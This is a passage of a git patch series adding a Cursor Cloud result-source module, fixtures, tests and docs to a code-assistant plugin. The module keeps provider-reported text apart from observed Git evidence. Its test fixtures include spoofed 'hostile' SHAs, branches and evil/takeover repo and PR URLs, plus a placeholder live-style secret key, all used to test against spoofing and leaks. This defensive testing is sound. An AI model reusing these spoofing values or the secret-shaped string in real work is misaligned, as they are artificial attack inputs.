sources.observed, + git_evidence: identity == null ? null : sources.git_evidence, + }); + } catch (error) { + if (isCursorCloudResultIdentityMismatchV1(error) || error?.code === 'source_confusion_denied' || error?.code === 'malformed_result') { + fail('cursor_run_identity_mismatch', 'Cursor Cloud returned a mismatched or malformed run, branch, or request identity at completion.'); + } + throw error; + } + return sources; +} + async function persistTerminalRun({ root, taskId, client, key, prompt, agentId, run, result }) { if (result?.id !== undefined && result.id !== run.id) { fail('cursor_run_identity_mismatch', 'Cursor Cloud returned a different run identity at completion.'); } + const { task: current } = await readTask(root, taskId); + const sources = assertTerminalResultSources(current, run, agentId, result); const status = result.status === 'finished' ? 'completed' : result.status === 'cancelled' ? 'cancelled' : 'failed'; const providerSecrets = [key, prompt]; const sanitizedBranches = sanitizeProviderValue(result.git?.branches ?? [], providerSecrets); @@ -784,7 +855,7 @@ async function persistTerminalRun({ root, taskId, client, key, prompt, agentId, finished_at: new Date().toISOString(), }); await appendTaskEvent(root, taskId, { type: 'terminal', status, run_id: result.id }); - return terminal; + return attachCursorCloudResultSource(root, terminal, sources); } async function persistCancelledRun({ root, taskId, client, task, key, runId }) { diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-result-source-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-result-source-fixtures.mjs new file mode 100644 index 0000000..b1e6e38 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-result-source-fixtures.mjs @@ -0,0 +1,107 @@ +// Fixtures for the P12 Cursor Cloud result-source tests. +// +// Pure data builders and pinned identities. Store-root helpers chmod 0700 +// after creation and never change process umask. + +import { createHash } from 'node:crypto'; +import { chmodSync, mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_MAX_BYTES, +} from '../../mcp/v3/cursor-cloud-result-source.mjs'; + +export const RUN_ID = 'run-p12-cloud'; +export const ASSIGNMENT_ID = 'cloud-lane'; +export const MODEL = 'claude-sonnet-4-5'; +export const REQUEST_ID = 'cloud-lane:run:1'; +export const AGENT_ID = 'bc-cursor-cloud-1'; +export const PROVIDER_RUN_ID = 'run-cursor-cloud-1'; +export const BRANCH = 'cursor/cloud-lane-1'; +export const HOSTILE_BRANCH = 'cursor/hostile-takeover'; +export const REPO_IDENTITY = 'github.com/example/codex-co-engineer'; +export const REPO_URL = 'https://github.com/example/codex-co-engineer.git'; +export const HOSTILE_REPO_URL = 'https://github.com/evil/takeover.git'; +export const PR_URL = 'https://github.com/example/codex-co-engineer/pull/12'; +export const HOSTILE_PR_URL = 'https://github.com/evil/takeover/pull/99'; +export const STARTING_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const HEAD_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const HOSTILE_SHA = 'cccccccccccccccccccccccccccccccccccccccc'; +export const SECRET = 'sk-live-secret-1234567890'; +export const REPLACEMENT = '[REDACTED]'; + +export const INLINE_TAIL_MAX = CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_MAX_BYTES; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeStoreRoot(prefix = 'cce-p12-cloud-') { + const root = mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); + chmodSync(root, 0o700); + return root; +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function identityFor(overrides = {}) { + return { + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + provider: 'cursor-cloud', + model: MODEL, + request_id: REQUEST_ID, + agent_id: AGENT_ID, + provider_run_id: PROVIDER_RUN_ID, + repository_url: REPO_URL, + repository_identity: REPO_IDENTITY, + branch: BRANCH, + starting_sha: STARTING_SHA, + ...overrides, + }; +} + +export function gitEvidenceFor(overrides = {}) { + return { + repository_identity: REPO_IDENTITY, + repository_url: REPO_URL, + branch: BRANCH, + head_sha: HEAD_SHA, + merge_base_sha: STARTING_SHA, + starting_sha: STARTING_SHA, + linear_history: true, + pr_url: PR_URL, + ...overrides, + }; +} + +export function providerOutput(suffix = 'VERDICT: CLOUD PASS') { + return `cursor cloud provider output\nhead claimed as ${HOSTILE_SHA}\nPR ${HOSTILE_PR_URL}\nbranch ${HOSTILE_BRANCH}\n${suffix}`; +} + +export function oversizeProviderOutput(suffix = 'VERDICT: OVERSIZE PASS') { + return `${'x'.repeat(5000)}${suffix}`; +} + +export function exact4096(suffix = 'TAIL') { + const suffixBytes = Buffer.byteLength(suffix, 'utf8'); + const prefix = 'a'.repeat(INLINE_TAIL_MAX - suffixBytes); + return `${prefix}${suffix}`; +} + +export function sdkResultFor(overrides = {}) { + return { + id: PROVIDER_RUN_ID, + requestId: REQUEST_ID, + agentId: AGENT_ID, + status: 'finished', + result: providerOutput(), + git: { + branches: [{ repoUrl: REPO_URL, branch: BRANCH, prUrl: PR_URL }], + }, + ...overrides, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs new file mode 100644 index 0000000..c60b26e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs @@ -0,0 +1,243 @@ +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { isArtifactRelativePathV1 } from '../mcp/v3/artifact-path.mjs'; +import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, + CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND, + CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES, + CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, + CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS, + CURSOR_CLOUD_RESULT_SOURCE_VERSION, + cursorCloudGitEvidencePathV1, + cursorCloudProviderReportPathV1, + materializeCursorCloudResultSourceV1, + projectCursorCloudGitEvidenceV1, + projectCursorCloudResultSourcesV1, +} from '../mcp/v3/cursor-cloud-result-source.mjs'; +import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_ID, + BRANCH, + HEAD_SHA, + HOSTILE_BRANCH, + HOSTILE_PR_URL, + HOSTILE_SHA, + MODEL, + PR_URL, + PROVIDER_RUN_ID, + REPO_URL, + REQUEST_ID, + RUN_ID, + SECRET, + gitEvidenceFor, + identityFor, + makeStoreRoot, + providerOutput, + removeRoot, + sdkResultFor, +} from './fixtures/r1-cursor-cloud-result-source-fixtures.mjs'; + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) { + assert.equal(error.code, expectedCode, `expected ${expectedCode}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +async function readAllSanitized(store, ref) { + let offset = 0; + const parts = []; + for (;;) { + const page = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: 8192 }); + parts.push(Buffer.from(page.selected_content, 'base64')); + if (page.more !== true) { + return Buffer.concat(parts).toString('utf8'); + } + offset = page.next_offset; + } +} + +function assertReceiptShape(receipt) { + assert.equal(receipt.schema, CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID); + assert.equal(receipt.version, CURSOR_CLOUD_RESULT_SOURCE_VERSION); + assert.deepEqual(Object.keys(receipt), [...CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS]); + assert.equal(Object.isFrozen(receipt), true); + assert.deepEqual(Object.keys(receipt.provider_report), [...CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS]); + assert.deepEqual(Object.keys(receipt.git_evidence), [...CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS]); +} + +function assertNoLeak(serialized, root, secrets) { + assert.equal(serialized.includes(root), false, 'receipt echoed the store root'); + for (const secret of secrets) { + assert.equal(serialized.includes(secret), false, `receipt leaked ${secret}`); + } +} + +test('the closed result-source vocabulary is exported frozen', () => { + assert.equal(CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, 'codex-co-engineer.cursor-cloud-result-source.v1'); + assert.equal(CURSOR_CLOUD_RESULT_SOURCE_VERSION, 1); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS), true); + assert.equal(Object.isFrozen(CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES), true); + assert.ok(CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES.includes('source_confusion_denied')); + assert.ok(CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS.includes('provider_report')); + assert.ok(CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS.includes('git_evidence')); +}); + +test('the result-source module uses P09/P10/P08 authorities and does not import protected seams', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/cursor-cloud-result-source.mjs', import.meta.url)), 'utf8'); + assert.match(source, /sanitizeAndPublishArtifactV1/u); + assert.match(source, /readSanitizedArtifactV1/u); + assert.match(source, /verifyStoredArtifactV1/u); + assert.equal(source.includes('task-store.mjs'), false); + assert.equal(source.includes('acp-worker.mjs'), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); + assert.equal(source.includes('provider-driver.mjs'), false); + assert.equal(source.includes('cursor-cloud-driver.mjs'), false); + assert.equal(source.includes('cursor-cloud-worker.mjs'), false); + assert.equal(source.includes('run-manifest.mjs'), true); +}); + +test('provider report and independently observed Git evidence stay distinct typed sources', async () => { + await withStore(async (store, root) => { + const output = providerOutput(); + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + observed: { provider_run_id: PROVIDER_RUN_ID, request_id: REQUEST_ID }, + provider_report: { status: 'finished', output }, + git_evidence: gitEvidenceFor(), + }); + assertReceiptShape(receipt); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.assignment_id, ASSIGNMENT_ID); + assert.equal(receipt.provider, 'cursor-cloud'); + assert.equal(receipt.model, MODEL); + assert.equal(receipt.provider_report.source_kind, 'provider_report'); + assert.equal(receipt.provider_report.artifact_kind, CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND); + assert.equal(receipt.git_evidence.source_kind, 'git_evidence'); + assert.equal(receipt.git_evidence.artifact_kind, CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND); + assert.equal(receipt.provider_report.published, true); + assert.equal(receipt.git_evidence.published, true); + assert.equal(receipt.provider_report.status, 'finished'); + assert.equal(receipt.provider_report.head_sha, null); + assert.equal(receipt.provider_report.branch, null); + assert.equal(receipt.provider_report.pr_url, null); + assert.equal(receipt.git_evidence.status, null); + assert.equal(receipt.git_evidence.branch, BRANCH); + assert.equal(receipt.git_evidence.head_sha, HEAD_SHA); + assert.equal(receipt.git_evidence.pr_url, PR_URL); + assert.equal(receipt.git_evidence.relative_path, cursorCloudGitEvidencePathV1(identityFor())); + assert.equal(receipt.provider_report.relative_path, cursorCloudProviderReportPathV1(identityFor(), 'application/json')); + assert.equal(isArtifactRelativePathV1(receipt.provider_report.relative_path), true); + assert.equal(isArtifactRelativePathV1(receipt.git_evidence.relative_path), true); + assert.notEqual(receipt.provider_report.relative_path, receipt.git_evidence.relative_path); + assert.equal(receipt.provider_report.sanitizer_version, ARTIFACT_SANITIZER_VERSION); + + const providerBytes = await readAllSanitized(store, receipt.provider_report.sanitized_ref); + const gitBytes = await readAllSanitized(store, receipt.git_evidence.sanitized_ref); + assert.match(providerBytes, /VERDICT: CLOUD PASS/u); + assert.match(providerBytes, new RegExp(HOSTILE_SHA, 'u')); + assert.equal(gitBytes.includes(HOSTILE_SHA), false); + assert.equal(gitBytes.includes(HOSTILE_PR_URL), false); + assert.equal(gitBytes.includes(HOSTILE_BRANCH), false); + assert.match(gitBytes, new RegExp(HEAD_SHA, 'u')); + assert.match(gitBytes, new RegExp(BRANCH, 'u')); + assertNoLeak(JSON.stringify(receipt), root, [SECRET]); + }); +}); + +test('Git facts that exist only in provider text are never trusted Git evidence', async () => { + await withStore(async (store) => { + const output = providerOutput(); + const identity = identityFor(); + delete identity.branch; + delete identity.head_sha; + delete identity.repository_url; + delete identity.repository_identity; + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identity, + provider_report: { + status: 'finished', + output: { + text: output, + git: { head_sha: HOSTILE_SHA, branch: HOSTILE_BRANCH, pr_url: HOSTILE_PR_URL }, + }, + }, + }); + assert.equal(receipt.provider_report.published, true); + assert.equal(receipt.git_evidence.published, false); + assert.equal(receipt.git_evidence.empty, true); + assert.equal(receipt.git_evidence.head_sha, null); + assert.equal(receipt.git_evidence.branch, null); + assert.equal(receipt.git_evidence.pr_url, null); + const stored = await readAllSanitized(store, receipt.provider_report.sanitized_ref); + assert.match(stored, new RegExp(HOSTILE_SHA, 'u')); + }); +}); + +test('the SDK projector never copies provider output into Git evidence', () => { + const projected = projectCursorCloudResultSourcesV1(sdkResultFor({ + result: { + text: providerOutput(), + git: { head_sha: HOSTILE_SHA, branch: HOSTILE_BRANCH, prUrl: HOSTILE_PR_URL }, + }, + })); + assert.equal(projected.git_evidence.branch, BRANCH); + assert.equal(projected.git_evidence.pr_url, PR_URL); + assert.equal(projected.git_evidence.head_sha, undefined); + assert.equal(JSON.stringify(projected.git_evidence).includes(HOSTILE_SHA), false); + assert.equal(JSON.stringify(projected.git_evidence).includes(HOSTILE_BRANCH), false); + assert.equal(projected.provider_report.status, 'finished'); + assert.equal(projected.provider_report.output.git.head_sha, HOSTILE_SHA); +}); + +test('provider text cannot be supplied as Git evidence', async () => { + await withStore(async (store) => { + await errorOfAsync( + () => projectCursorCloudGitEvidenceV1(providerOutput()), + 'source_confusion_denied', + 'git_evidence', + ); + await errorOfAsync( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: providerOutput(), + }), + 'invalid_type', + 'git_evidence', + ); + }); +}); + + From c664e0720a708bae6753fb5f012d101c276f0a07 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:15:25 +0000 Subject: [PATCH 066/151] feat(cloud): mark upstream source truncation Record caller-declared upstream/provider truncation on each result source separately from local inline tail clipping and fail-closed storage limits. Complete available provider bytes are stored through P09/P10; 3.2.1 result_* bounding is not treated as source_truncated. --- .../mcp/v3/cursor-cloud-result-source.mjs | 16 ++-- .../mcp/v3/cursor-cloud-worker.mjs | 6 +- .../r1-cursor-cloud-result-source.test.mjs | 91 ++++++++++++++++++- 3 files changed, 101 insertions(+), 12 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs index 22c4c50..90a3d56 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs @@ -1380,16 +1380,12 @@ export async function openCursorCloudResultArtifactStoreV1(stateRoot) { export async function materializeCursorCloudResultSourceV1(store, input) { const { identity, observed, providerReport, gitEvidence } = parseOptions(input); - const providerBytes = await normalizeOutput( - providerReport.output === undefined && providerReport.error == null - ? providerReport.status - : freezeData({ - status: providerReport.status, - output: providerReport.output ?? null, - error: providerReport.error, - }), - 'provider_report', - ); + const providerSource = providerReport.output !== undefined + ? providerReport.output + : providerReport.error != null + ? freezeData({ error: providerReport.error }) + : providerReport.status; + const providerBytes = await normalizeOutput(providerSource, 'provider_report'); if (providerBytes.bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { failSource('artifact_stream_over_cap', 'provider_report', `The Cursor Cloud provider report exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs index fd9b900..9f26eae 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs @@ -767,7 +767,11 @@ async function attachCursorCloudResultSource(root, task, sources) { const receipt = await materializeCursorCloudResultSourceV1(store, { ...identity, observed: sources.observed, - provider_report: sources.provider_report, + provider_report: sources.provider_report == null ? undefined : { + ...sources.provider_report, + // 3.2.1 result_* bounding is local clipping, never upstream truncation. + source_truncated: sources.provider_report.source_truncated === true, + }, git_evidence: sources.git_evidence, }); return await updateTask(root, task.id, { cursor_cloud_result_source: receipt }); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs index c60b26e..b109265 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs @@ -4,6 +4,7 @@ import test from 'node:test'; import { fileURLToPath } from 'node:url'; import { isArtifactRelativePathV1 } from '../mcp/v3/artifact-path.mjs'; +import { MAX_RAW_ARTIFACT_BYTE_LENGTH } from '../mcp/v3/artifact-ref.mjs'; import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; import { @@ -38,10 +39,13 @@ import { REPO_URL, REQUEST_ID, RUN_ID, + INLINE_TAIL_MAX, SECRET, + exact4096, gitEvidenceFor, identityFor, makeStoreRoot, + oversizeProviderOutput, providerOutput, removeRoot, sdkResultFor, @@ -158,7 +162,7 @@ test('provider report and independently observed Git evidence stay distinct type assert.equal(receipt.git_evidence.head_sha, HEAD_SHA); assert.equal(receipt.git_evidence.pr_url, PR_URL); assert.equal(receipt.git_evidence.relative_path, cursorCloudGitEvidencePathV1(identityFor())); - assert.equal(receipt.provider_report.relative_path, cursorCloudProviderReportPathV1(identityFor(), 'application/json')); + assert.equal(receipt.provider_report.relative_path, cursorCloudProviderReportPathV1(identityFor(), 'text/plain')); assert.equal(isArtifactRelativePathV1(receipt.provider_report.relative_path), true); assert.equal(isArtifactRelativePathV1(receipt.git_evidence.relative_path), true); assert.notEqual(receipt.provider_report.relative_path, receipt.git_evidence.relative_path); @@ -240,4 +244,89 @@ test('provider text cannot be supplied as Git evidence', async () => { }); }); +test('upstream truncation is marked separately from inline clipping', async () => { + await withStore(async (store) => { + const exact = exact4096('END!'); + const unclipped = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + provider_report: { status: 'finished', output: exact }, + }); + assert.equal(unclipped.provider_report.source_truncated, false); + assert.equal(unclipped.provider_report.complete, true); + assert.equal(unclipped.provider_report.inline_clipped, false); + assert.equal(unclipped.provider_report.storage_limited, false); + assert.equal(unclipped.provider_report.inline_tail.source_truncated, false); + assert.equal(unclipped.provider_report.inline_tail.inline_clipped, false); + assert.equal(unclipped.provider_report.inline_tail.byte_length, INLINE_TAIL_MAX); + + const over = oversizeProviderOutput(); + const clipped = await materializeCursorCloudResultSourceV1(store, { + ...identityFor({ assignment_id: 'cloud-clip' }), + provider_report: { status: 'finished', output: over }, + }); + assert.equal(clipped.provider_report.source_truncated, false); + assert.equal(clipped.provider_report.complete, true); + assert.equal(clipped.provider_report.inline_clipped, true); + assert.equal(clipped.provider_report.storage_limited, false); + assert.equal(clipped.provider_report.inline_tail.source_truncated, false); + assert.equal(clipped.provider_report.inline_tail.inline_clipped, true); + assert.match(clipped.provider_report.inline_tail.text, /VERDICT: OVERSIZE PASS$/u); + assert.equal(await readAllSanitized(store, clipped.provider_report.sanitized_ref).then((text) => text.includes(over)), true); + + const truncated = await materializeCursorCloudResultSourceV1(store, { + ...identityFor({ assignment_id: 'cloud-trunc' }), + provider_report: { status: 'finished', output: 'short upstream clip', source_truncated: true }, + git_evidence: gitEvidenceFor({ source_truncated: false }), + }); + assert.equal(truncated.provider_report.source_truncated, true); + assert.equal(truncated.provider_report.complete, false); + assert.equal(truncated.provider_report.inline_clipped, false); + assert.equal(truncated.provider_report.inline_tail.source_truncated, true); + assert.equal(truncated.provider_report.inline_tail.complete, false); + assert.equal(truncated.git_evidence.source_truncated, false); + assert.equal(truncated.git_evidence.complete, true); + assert.equal(truncated.git_evidence.inline_clipped, false); + }); +}); + +test('provider and Git upstream truncation flags are independent', async () => { + await withStore(async (store) => { + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + provider_report: { status: 'finished', output: oversizeProviderOutput(), source_truncated: true }, + git_evidence: gitEvidenceFor({ source_truncated: true }), + }); + assert.equal(receipt.provider_report.source_truncated, true); + assert.equal(receipt.provider_report.inline_clipped, true); + assert.equal(receipt.provider_report.complete, false); + assert.equal(receipt.git_evidence.source_truncated, true); + assert.equal(receipt.git_evidence.complete, false); + assert.equal(receipt.provider_report.storage_limited, false); + assert.equal(receipt.git_evidence.storage_limited, false); + }); +}); + +test('crossing the raw class cap fails closed and does not pretend the upstream truncated', async () => { + await withStore(async (store) => { + const error = await errorOfAsync( + () => materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + provider_report: { + status: 'finished', + output: 'x'.repeat(MAX_RAW_ARTIFACT_BYTE_LENGTH + 1), + source_truncated: false, + }, + }), + 'artifact_stream_over_cap', + 'provider_report', + ); + assert.equal(error.message.includes('source_truncated'), false); + assert.equal(JSON.stringify(projectCursorCloudResultSourcesV1({ + id: PROVIDER_RUN_ID, + status: 'finished', + result: oversizeProviderOutput(), + }).provider_report.source_truncated), 'false'); + }); +}); + From 8e66bff459bb9ce554c1104a7e8cd91b8cd1a35a Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:18:17 +0000 Subject: [PATCH 067/151] test(cloud): reject run branch and request identity mismatch Prove Cursor Cloud result-source materialization fails closed on run, assignment, request, repository, branch, and head/base identity drift without echoing those identities, replaying work, or synthesizing Git facts from provider text. Worker completion with exact R1 identity rejects mismatched request and branch receipts before a trusted source is recorded. --- CHANGELOG.md | 15 ++ docs/cursor-cloud-result-source.md | 69 +++++ docs/future-work.md | 17 +- docs/r1-local-provider-result-sink.md | 6 +- ...r-cloud-result-source-adversarial.test.mjs | 239 ++++++++++++++++++ .../test/v3-cursor-cloud-worker.test.mjs | 123 +++++++++ 6 files changed, 461 insertions(+), 8 deletions(-) create mode 100644 docs/cursor-cloud-result-source.md create mode 100644 plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index c7f1e20..bc183ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,21 @@ ### Added +- **Cursor Cloud result source.** Adds additive v3 + `cursor-cloud-result-source.mjs` (P12) that materializes Cursor Cloud + provider-reported result/output/status and independently observed + Git/branch/commit/PR evidence as distinct typed sources through the + accepted P09 sanitizer, P08 store, and P10 sanitized reader. Trusted Git + facts are never synthesized from provider text. Receipts expose only + bounded sanitized tails, refs, digests, and provenance; upstream + `source_truncated` is recorded separately from local inline clipping and + fail-closed storage limits. Exact run, assignment, request, repository, + branch, and head/base identity is bound into ArtifactRef paths; mismatch + fails closed with no replay. The Cursor Cloud worker is the only + serialized seam and preserves 3.2.1 `task.result` / `result_*` public + bytes when exact R1 identity is absent. Coverage lives in + `test/r1-cursor-cloud-result-source.test.mjs` and + `test/r1-cursor-cloud-result-source-adversarial.test.mjs`. - **Local provider result sink.** Adds additive v3 `local-provider-result-sink.mjs` (P11) that routes final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI provider output into the accepted diff --git a/docs/cursor-cloud-result-source.md b/docs/cursor-cloud-result-source.md new file mode 100644 index 0000000..f094cb2 --- /dev/null +++ b/docs/cursor-cloud-result-source.md @@ -0,0 +1,69 @@ +# Cursor Cloud result source (P12) + +Status: implemented as result-source materialization over accepted P09/P10 +artifact contracts. Not live Cloud dispatch, scheduler, or evidence-bundle +composition. + +The P12 `CursorCloudResultSourceV1` +(`plugins/codex-co-engineer/mcp/v3/cursor-cloud-result-source.mjs`) +materializes Cursor Cloud provider-reported result/output/status and +independently observed Git/branch/commit/PR evidence as distinct typed +sources. Trusted Git facts are never synthesized from provider text. + +Existing `mcp/v3/cursor-cloud-driver.mjs` is unchanged. The only runtime +seam is a narrow result projection in `mcp/v3/cursor-cloud-worker.mjs`. + +## Distinct sources + +- **Provider report** (`artifact_kind: provider_report`): provider-reported + status plus complete available output/error bytes. +- **Git evidence** (`artifact_kind: git_diff`): independently observed + repository, branch, head/base SHAs, linear history, and PR URL. + +A SHA, branch, or PR URL that appears only in provider output stays in the +provider-report artifact. It is never copied onto the Git-evidence receipt. + +## Publication + +`materializeCursorCloudResultSourceV1(store, options)` publishes complete +transport-available bytes through `sanitizeAndPublishArtifactV1` and +verifies with `verifyStoredArtifactV1`. Model-facing tails are read only +through `readSanitizedArtifactV1`. Empty sources are not published. + +Receipts are detached deep-frozen content-free metadata: refs, digests, +provenance, bounded sanitized tails, and typed Git identity fields. They +never expose raw bytes, secrets, prompt text, store roots, or live handles. + +## Truncation + +- `source_truncated` / `complete` are caller-declared upstream/provider + facts, never inferred from tail length or class caps. +- `inline_clipped` is the local 4,096-byte UTF-8 tail window. +- Crossing a class cap fails closed. The writer does not clip toward the + cap or relabel storage limits as upstream truncation. +- 3.2.1 `result_*` bounding remains local clipping and is not treated as + `source_truncated`. + +Provider-report and Git-evidence truncation flags are independent. + +## Identity + +Exact `run_id`, `assignment_id`, request, provider run, repository, +branch, and head/base identities are bound into ArtifactRef paths and the +receipt. Observed correlation that disagrees fails closed with a typed +content-free mismatch code. There is no replay or fallback. + +3.2.1 Cloud tasks without exact R1 run/assignment/model identity keep the +existing public terminal path. P12 publication attaches only when that +identity is present. + +## Coverage and non-claims + +Coverage lives in `test/r1-cursor-cloud-result-source.test.mjs`, +`test/r1-cursor-cloud-result-source-adversarial.test.mjs`, and the Cloud +worker suite. + +This slice does not dispatch Cloud runs, qualify a live transport, cut +over scheduler/store/supervisor, mutate Git, create PRs, or implement P13 +evidence bundles or P23/P32 work. Provider completion remains evidence, +never acceptance. diff --git a/docs/future-work.md b/docs/future-work.md index 87efcf8..eae42ba 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -38,16 +38,23 @@ The P11 local provider result sink is in-tree as an additive provider-neutral router: final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output is published through the accepted P09 sanitizer and P08 store, with a P10-derived sanitized inline tail. It does not implement -P12 evidence bundles, supervisor/server MCP registration, cloud-worker -sinks, cleanup, or run runtime. `acp-worker.mjs` is the only serialized -seam; 3.2.1 `task.result` bounding is unchanged. Ambient umask variance +P13 evidence bundles, supervisor/server MCP registration, cleanup, or +run runtime. `acp-worker.mjs` is the only serialized seam; 3.2.1 +`task.result` bounding is unchanged. Ambient umask variance for P08 store-root `mkdtemp` privacy is recorded here and is not runtime-changed: P11 fixtures `chmod 0700` after creating their own roots and do not include optional P08 umask test-fixture determinization. -Cursor Local and Cursor Cloud adapters, registry cutover, scheduler, -durable store, P12 evidence bundles, cloud-worker sinks, cleanup, run +The P12 Cursor Cloud result source is in-tree as additive result-source +materialization: provider-reported output/status and independently +observed Git evidence are stored as distinct typed P09/P10 sources. The +cloud-worker result seam is the only serialized integration. It does not +dispatch live Cloud runs, cut over scheduler/store/supervisor, mutate +Git, or create PRs. + +Cursor Local and Cursor Cloud live-transport qualification, registry +cutover, scheduler, durable store, P13 evidence bundles, cleanup, run runtime, and `AttentionBatchV1` remain later work. Gate A remains the functional release authority; Gate B context-efficiency and Gate C credit economics stay advisory. diff --git a/docs/r1-local-provider-result-sink.md b/docs/r1-local-provider-result-sink.md index ff80a8e..dfdb976 100644 --- a/docs/r1-local-provider-result-sink.md +++ b/docs/r1-local-provider-result-sink.md @@ -82,9 +82,9 @@ Provider completion remains evidence, never acceptance. ## Non-goals -P12 evidence bundles, supervisor/server MCP registration, P18/P20 -transports, cleanup, scheduler, cloud-worker sinks, and protected refs -remain unclaimed. This module does not edit `task-store.mjs`. Ambient +P13 evidence bundles, supervisor/server MCP registration, P18/P20 +transports, cleanup, scheduler, and protected refs remain unclaimed. +P12 Cursor Cloud result-source materialization is a separate module. This module does not edit `task-store.mjs`. Ambient umask variance for P08 store-root fixtures is recorded in [future-work.md](future-work.md); P11 fixtures chmod 